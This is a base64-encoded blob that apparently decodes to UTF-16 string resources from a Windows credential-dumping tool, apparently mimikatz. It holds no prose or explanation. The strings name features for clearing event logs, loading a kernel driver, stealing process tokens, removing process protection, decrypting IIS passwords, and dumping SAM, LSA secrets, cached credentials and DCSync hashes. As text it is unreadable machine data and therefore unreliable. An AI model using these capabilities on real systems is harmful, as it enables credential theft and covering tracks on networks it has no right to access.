AFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAAQwBlAHIAdABGAGkAbgBkAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBJAG4AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoACAAOwAgAC8AdQBwAG4AOgB1AHMAZQByAEAAZABvAG0AYQBpAG4ALgBsAG8AYwBhAGwAIABuAGUAZQBkAGUAZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAALwBjAGEAbgBhAG0AZQA6AEMAQQAtAEsASQBXAEkAIABuAGUAZQBkAGUAZAAKAAAAcgBzAGEAZQBuAGgALgBkAGwAbAAAAAAATABvAGMAYQBsACAAQwByAHkAcAB0AG8AQQBQAEkAIABwAGEAdABjAGgAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcABfAGMAYQBwAGkAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAG4AYwByAHkAcAB0AC4AZABsAGwAAAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAAAASwBlAHkASQBzAG8AAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBuAGcAIAA7ACAATgBvACAAQwBOAEcACgAAAGQAcgBvAHAAAAAAAAAAAAAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAHAAYQB0AGMAaAAgAEUAdgBlAG4AdABzACAAcwBlAHIAdgBpAGMAZQAgAHQAbwAgAGEAdgBvAGkAZAAgAG4AZQB3ACAAZQB2AGUAbgB0AHMAAABjAGwAZQBhAHIAAAAAAAAAQwBsAGUAYQByACAAYQBuACAAZQB2AGUAbgB0ACAAbABvAGcAAAAAAGUAdgBlAG4AdAAAAAAAAABFAHYAZQBuAHQAIABtAG8AZAB1AGwAZQAAAAAAAAAAAGUAdgBlAG4AdABsAG8AZwAuAGQAbABsAAAAAAAAAAAAdwBlAHYAdABzAHYAYwAuAGQAbABsAAAARQB2AGUAbgB0AEwAbwBnAAAAAAAAAAAAUwBlAGMAdQByAGkAdAB5AAAAAAAAAAAAbABvAGcAAABVAHMAaQBuAGcAIAAiACUAcwAiACAAZQB2AGUAbgB0ACAAbABvAGcAIAA6AAoAAAAtACAAJQB1ACAAZQB2AGUAbgB0ACgAcwApAAoAAAAAAC0AIABDAGwAZQBhAHIAZQBkACAAIQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGUAdgBlAG4AdABfAGMAbABlAGEAcgAgADsAIABDAGwAZQBhAHIARQB2AGUAbgB0AEwAbwBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAATwBwAGUAbgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABhAHAAcABoAG8AcwB0AAAAaQBpAHMAAABJAEkAUwAgAFgATQBMACAAQwBvAG4AZgBpAGcAIABtAG8AZAB1AGwAZQAAAAAAAAAvAC8AYwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAvAHMAeQBzAHQAZQBtAC4AYQBwAHAAbABpAGMAYQB0AGkAbwBuAEgAbwBzAHQALwBhAHAAcABsAGkAYwBhAHQAaQBvAG4AUABvAG8AbABzAC8AYQBkAGQAAAAAAAAAAAAAAC8ALwBjAG8AbgBmAGkAZwB1AHIAYQB0AGkAbwBuAC8AcwB5AHMAdABlAG0ALgBhAHAAcABsAGkAYwBhAHQAaQBvAG4ASABvAHMAdAAvAHMAaQB0AGUAcwAvAHMAaQB0AGUAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGkAaQBzAF8AYQBwAHAAaABvAHMAdAAgADsAIABNAGkAcwBzAGkAbgBnACAALwBpAG4AOgBmAGkAbABlAG4AYQBtAGUAIAAoAGEAcABwAGwAaQBjAGEAdABpAG8AbgBIAG8AcwB0AC4AYwBvAG4AZgBpAGcAKQAKAAAAAAAAAAoAKgAgAEEAcABwAGwAaQBjAGEAdABpAG8AbgBQAG8AbwBsADoAIAAnACUAcwAnAAoAAAAAAAAAcAByAG8AYwBlAHMAcwBNAG8AZABlAGwAAAAAAAAAAAB1AHMAZQByAE4AYQBtAGUAAAAAAAAAAAAgACAAVQBzAGUAcgBuAGEAbQBlADoAIAAlAHMACgAAACAAIABQAGEAcwBzAHcAbwByAGQAOgAgACUAcwAKAAAACgAqACAAUwBpAHQAZQA6ACAAJwAlAHMAJwAKAAAAAABhAHAAcABsAGkAYwBhAHQAaQBvAG4AAABwAGEAdABoAAAAAAAAAAAAIAAgAD4AIABBAHAAcABsAGkAYwBhAHQAaQBvAG4AIABQAGEAdABoADoAIAAlAHMACgAAAAAAAAB2AGkAcgB0AHUAYQBsAEQAaQByAGUAYwB0AG8AcgB5AAAAAAAAAAAAIAAgACAAIAAtACAAVgBpAHIAdAB1AGEAbABEAGkAcgBlAGMAdABvAHIAeQAgAFAAYQB0AGgAOgAgACUAcwAgACgAIAAAAAAAcABoAHkAcwBpAGMAYQBsAFAAYQB0AGgAAAAAAAAAAAAgACkACgAAACAAIAAgACAAIAAgAFUAcwBlAHIAbgBhAG0AZQA6ACAAJQBzAAoAAAAgACAAIAAgACAAIABQAGEAcwBzAHcAbwByAGQAOgAgACUAcwAKAAAAWwBlAG4AYwA6AAAAAAAAADoAZQBuAGMAXQAAAAAAAAAgACAAfAAgAFAAcgBvAHYAaQBkAGUAcgAgACAAOgAgACUAcwAKACAAIAB8ACAARABhAHQAYQAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAC8ALwBjAG8AbgBmAGkAZwB1AHIAYQB0AGkAbwBuAC8AYwBvAG4AZgBpAGcAUAByAG8AdABlAGMAdABlAGQARABhAHQAYQAvAHAAcgBvAHYAaQBkAGUAcgBzAC8AYQBkAGQAAAAAAAAAdAB5AHAAZQAAAAAAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4ASABvAHMAdAAuAEEAZQBzAFAAcgBvAHQAZQBjAHQAZQBkAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AUAByAG8AdgBpAGQAZQByAAAAawBlAHkAQwBvAG4AdABhAGkAbgBlAHIATgBhAG0AZQAAAAAAAAAAACAAIAB8ACAASwBlAHkATgBhAG0AZQAgACAAIAA6ACAAJQBzAAoAAABzAGUAcwBzAGkAbwBuAEsAZQB5AAAAAAB1AHMAZQBNAGEAYwBoAGkAbgBlAEMAbwBuAHQAYQBpAG4AZQByAAAAdAByAHUAZQAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAXwBwAHIAbwB2AGkAZABlAHIAIAA7ACAAdAB5AHAAZQAgAGkAcwAgAG4AbwB0ACAAcwB1AHAAcABvAHIAdABlAGQAIAAoACUAcwApAAoAAABsAGkAdgBlAAAAAAAAAAAAIAAgAHwAIABMAGkAdgBlACAASwBlAHkAIAAgADoAIAAlAHMAIAAtACAAJQBzACAAOgAgAAAAAAAgACAAfAAgAFAAVgBLACAAZgBpAGwAZQAgACAAOgAgACUAcwAgAC0AIAAnACUAcwAnACAAOgAgAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGkAaQBzAF8AYQBwAHAAaABvAHMAdABfAHAAcgBvAHYAaQBkAGUAcgBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKABSAFMAQQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACAAIAB8ACAAUABhAHMAcwB3AG8AcgBkACAAIAA6ACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGkAaQBzAF8AYQBwAHAAaABvAHMAdABfAHAAcgBvAHYAaQBkAGUAcgBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGkAaQBzAF8AYQBwAHAAaABvAHMAdABfAHAAcgBvAHYAaQBkAGUAcgBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKABzAGUAcwBzAGkAbwBuACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAXwBwAHIAbwB2AGkAZABlAHIAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAbwBuAHQAZQB4AHQAIAAoADAAeAAlADAAOAB4ACkACgAAACsAAAAAAAAAAAAAAEkAbgBzAHQAYQBsAGwAIABhAG4AZAAvAG8AcgAgAHMAdABhAHIAdAAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAC0AAAAAAAAAAAAAAAAAAABSAGUAbQBvAHYAZQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAAAAAABwAGkAbgBnAAAAAAAAAAAAUABpAG4AZwAgAHQAaABlACAAZAByAGkAdgBlAHIAAABiAHMAbwBkAAAAAAAAAAAAQgBTAE8ARAAgACEAAAAAAHAAcgBvAGMAZQBzAHMAAABMAGkAcwB0ACAAcAByAG8AYwBlAHMAcwAAAAAAAAAAAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAAAAAAUAByAG8AdABlAGMAdAAgAHAAcgBvAGMAZQBzAHMAAABwAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAAAAAAAAAAAEQAdQBwAGwAaQBjAGEAdABlACAAcAByAG8AYwBlAHMAcwAgAHQAbwBrAGUAbgAAAHAAcgBvAGMAZQBzAHMAUAByAGkAdgBpAGwAZQBnAGUAAAAAAAAAAABTAGUAdAAgAGEAbABsACAAcAByAGkAdgBpAGwAZQBnAGUAIABvAG4AIABwAHIAbwBjAGUAcwBzAAAAAAAAAAAAbQBvAGQAdQBsAGUAcwAAAEwAaQBzAHQAIABtAG8AZAB1AGwAZQBzAAAAAAAAAAAAcwBzAGQAdAAAAAAAAAAAAEwAaQBzAHQAIABTAFMARABUAAAAAAAAAG4AbwB0AGkAZgBQAHIAbwBjAGUAcwBzAAAAAAAAAAAATABpAHMAdAAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAAAAAG4AbwB0AGkAZgBUAGgAcgBlAGEAZAAAAEwAaQBzAHQAIAB0AGgAcgBlAGEAZAAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAAAAAABuAG8AdABpAGYASQBtAGEAZwBlAAAAAABMAGkAcwB0ACAAaQBtAGEAZwBlACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAG4AbwB0AGkAZgBSAGUAZwAAAAAAAAAAAEwAaQBzAHQAIAByAGUAZwBpAHMAdAByAHkAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABuAG8AdABpAGYATwBiAGoAZQBjAHQAAABMAGkAcwB0ACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAAAAAAAAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABGAFMAIABmAGkAbAB0AGUAcgBzAAAAbQBpAG4AaQBmAGkAbAB0AGUAcgBzAAAATABpAHMAdAAgAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAAAAAAAAAHMAeQBzAGUAbgB2AHMAZQB0AAAAAAAAAAAAAAAAAAAAUwB5AHMAdABlAG0AIABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAIABWAGEAcgBpAGEAYgBsAGUAIABTAGUAdAAAAHMAeQBzAGUAbgB2AGQAZQBsAAAAAAAAAAAAAAAAAAAAUwB5AHMAdABlAG0AIABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAIABWAGEAcgBpAGEAYgBsAGUAIABEAGUAbABlAHQAZQAAAAAAbQBpAG0AaQBkAHIAdgAuAHMAeQBzAAAAbQBpAG0AaQBkAHIAdgAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABhAGwAcgBlAGEAZAB5ACAAcgBlAGcAaQBzAHQAZQByAGUAZAAKAAAAWwAqAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAKAAAAAAAAAAAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAAoAG0AaQBtAGkAZAByAHYAKQAAAAAAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB1AGMAYwBlAHMAcwBmAHUAbABsAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkAAoAAAAAAAAAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAQQBDAEwAIAB0AG8AIABlAHYAZQByAHkAbwBuAGUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAFcAbwByAGwAZABUAG8ATQBpAG0AaQBrAGEAdAB6ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAEMAcgBlAGEAdABlAFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AaQBzAEYAaQBsAGUARQB4AGkAcwB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AZwBlAHQAQQBiAHMAbwBsAHUAdABlAFAAYQB0AGgATwBmACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAE8AcABlAG4AUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdABhAHIAdABlAGQACgAAAAAAAAAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABhAGwAcgBlAGEAZAB5ACAAcwB0AGEAcgB0AGUAZAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABTAHQAYQByAHQAUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAE8AcABlAG4AUwBDAE0AYQBuAGEAZwBlAHIAKABjAHIAZQBhAHQAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdABvAHAAcABlAGQACgAAAAAAAAAAAAAAAAAAAAAAWwAqAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAG4AbwB0ACAAcgB1AG4AbgBpAG4AZwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcgBlAG0AbwB2AGUAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAHMAdABvAHAAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHIAZQBtAG8AdgBlAGQACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHIAZQBtAG8AdgBlAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwByAGUAbQBvAHYAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAcgBlAG0AbwB2AGUAAAAAAFAAcgBvAGMAZQBzAHMAIAA6ACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABQAHIAbwBjAGUAcwBzAEkAZABGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAcABpAGQAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAEEAcgBnAHUAbQBlAG4AdAAgAC8AcAByAG8AYwBlAHMAcwA6AHAAcgBvAGcAcgBhAG0ALgBlAHgAZQAgAG8AcgAgAC8AcABpAGQAOgBwAHIAbwBjAGUAcwBzAGkAZAAgAG4AZQBlAGQAZQBkAAoAAAAAAAAAAABQAEkARAAgACUAdQAgAC0APgAgACUAMAAyAHgALwAlADAAMgB4ACAAWwAlADEAeAAtACUAMQB4AC0AJQAxAHgAXQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAATgBvACAAUABJAEQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAUAByAG8AdABlAGMAdABlAGQAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAgAGIAZQBmAG8AcgBlACAAVwBpAG4AZABvAHcAcwAgAFYAaQBzAHQAYQAKAAAAAABmAHIAbwBtAAAAAAB0AG8AAAAAAAAAAABUAG8AawBlAG4AIABmAHIAbwBtACAAcAByAG8AYwBlAHMAcwAgACUAdQAgAHQAbwAgAHAAcgBvAGMAZQBzAHMAIAAlAHUACgAAAAAAAAAAACAAKgAgAGYAcgBvAG0AIAAwACAAdwBpAGwAbAAgAHQAYQBrAGUAIABTAFkAUwBUAEUATQAgAHQAbwBrAGUAbgAKAAAAAAAAAAAAAAAAAAAAIAAqACAAdABvACAAMAAgAHcAaQBsAGwAIAB0AGEAawBlACAAYQBsAGwAIAAnAGMAbQBkACcAIABhAG4AZAAgACcAbQBpAG0AaQBrAGEAdAB6ACcAIABwAHIAbwBjAGUAcwBzAAoAAABLAGUAcgBuAGUAbABfAEwAcwBhAF8AUABwAGwAXwBDAG8AbgBmAGkAZwAAAAAAAAAAAAAAAAAAAHsANwA3AGYAYQA5AGEAYgBkAC0AMAAzADUAOQAtADQAZAAzADIALQBiAGQANgAwAC0AMgA4AGYANABlADcAOABmADcAOAA0AGIAfQAAAAAAZwB1AGkAZAAAAAAAMQAAAGEAdAB0AHIAaQBiAHUAdABlAHMAAAAAADAAMAAwADAAMAAwADAAMAAAAAAAAAAAAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBWAGUAbgBkAG8AcgAgAEcAVQBJAEQAOgAgAAAAAAAKAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6ACAAJQAwADgAeAAgACgAAAAAAAAAAABMAGUAbgBnAHQAaAAgACAAIAAgACAAOgAgACUAdQAKAEQAYQB0AGEAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAPgAgAE8ASwAhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBzAHkAcwBlAG4AdgBfAHMAZQB0ACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAACkACgAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHMAeQBzAGUAbgB2AF8AZABlAGwAIAA7ACAAUgB0AGwARwBVAEkARABGAHIAbwBtAFMAdAByAGkAbgBnADoAIAAwAHgAJQAwADgAeAAKAAAAcwBhAG0AAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAUwBBAE0AIABlAG4AdAByAGkAZQBzACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAAAAAHMAZQBjAHIAZQB0AHMAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAUwBFAEMAUgBFAFQAUwAgAGUAbgB0AHIAaQBlAHMAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAAAAAAAAAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAATgBMACQASwBNACAAdABoAGUAbgAgAE0AUwBDAGEAYwBoAGUAKAB2ADIAKQAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAAAAAGwAcwBhAAAAQQBzAGsAIABMAFMAQQAgAFMAZQByAHYAZQByACAAdABvACAAcgBlAHQAcgBpAGUAdgBlACAAUwBBAE0ALwBBAEQAIABlAG4AdAByAGkAZQBzACAAKABuAG8AcgBtAGEAbAAsACAAcABhAHQAYwBoACAAbwBuACAAdABoAGUAIABmAGwAeQAgAG8AcgAgAGkAbgBqAGUAYwB0ACkAAAAAAHQAcgB1AHMAdAAAAAAAAABBAHMAawAgAEwAUwBBACAAUwBlAHIAdgBlAHIAIAB0AG8AIAByAGUAdAByAGkAZQB2AGUAIABUAHIAdQBzAHQAIABBAHUAdABoACAASQBuAGYAbwByAG0AYQB0AGkAbwBuACAAKABuAG8AcgBtAGEAbAAgAG8AcgAgAHAAYQB0AGMAaAAgAG8AbgAgAHQAaABlACAAZgBsAHkAKQAAAAAAYgBhAGMAawB1AHAAawBlAHkAcwAAAAAAcgBwAGQAYQB0AGEAAAAAAGQAYwBzAHkAbgBjAAAAAAAAAAAAAAAAAEEAcwBrACAAYQAgAEQAQwAgAHQAbwAgAHMAeQBuAGMAaAByAG8AbgBpAHoAZQAgAGEAbgAgAG8AYgBqAGUAYwB0AAAAAAAAAG4AZQB0AHMAeQBuAGMAAAAAAAAAAAAAAEEAcwBrACAAYQAgAEQAQwAgAHQAbwAgAHMAZQBuAGQAIABjAHUAcgByAGUAbgB0ACAAYQBuAGQAIABwAHIAZQB2AGkAbwB1AHMAIABOAFQATABNACAAaABhAHMAaAAgAG8AZgAgAEQAQwAvAFMAUgBWAC8AVwBLAFMAAAAAAAAAbABzAGEAZAB1AG0AcAAAAEwAcwBhAEQAdQBtAHAAIABtAG8AZAB1AGwAZQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBBAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAFkAUwBUAEUATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAFMAWQBTAFQARQBNAAAAAABTAEEATQAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgACgAUwBBAE0AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAPgAgAFUAcwBlAHIAIABjAGEAYwBoAGUAIAByAGUAcABsAGEAYwBlACAAbQBvAGQAZQAgACEACgAAAAAAAAAAACAAIAAqACAAdQBzAGUAcgAgACAAIAAgACAAOgAgACUAcwAKAAAAAABuAHQAbABtAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAbgB0AGwAbQAgAGgAYQBzAGgAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAzADIAIAAoADEANgAgAGIAeQB0AGUAcwApACAALQAgAHcAaQBsAGwAIAB1AHMAZQAgAGQAZQBmAGEAdQBsAHQAIABwAGEAcwBzAHcAbwByAGQALgAuAC4ACgAAAAAAAAAAACAAIAAqACAAcABhAHMAcwB3AG8AcgBkACAAOgAgACUAcwAKAAAAAAAgACAAKgAgAG4AdABsAG0AIAAgACAAIAAgADoAIAAAAHMAZQBjAHUAcgBpAHQAeQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEUAQwBVAFIASQBUAFkAIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBZAFMAVABFAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAFMARQBDAFUAUgBJAFQAWQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKABTAEUAQwBVAFIASQBUAFkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwB1AHIAcgBlAG4AdAAAAEQAZQBmAGEAdQBsAHQAAABDAG8AbgB0AHIAbwBsAFMAZQB0ADAAMAAw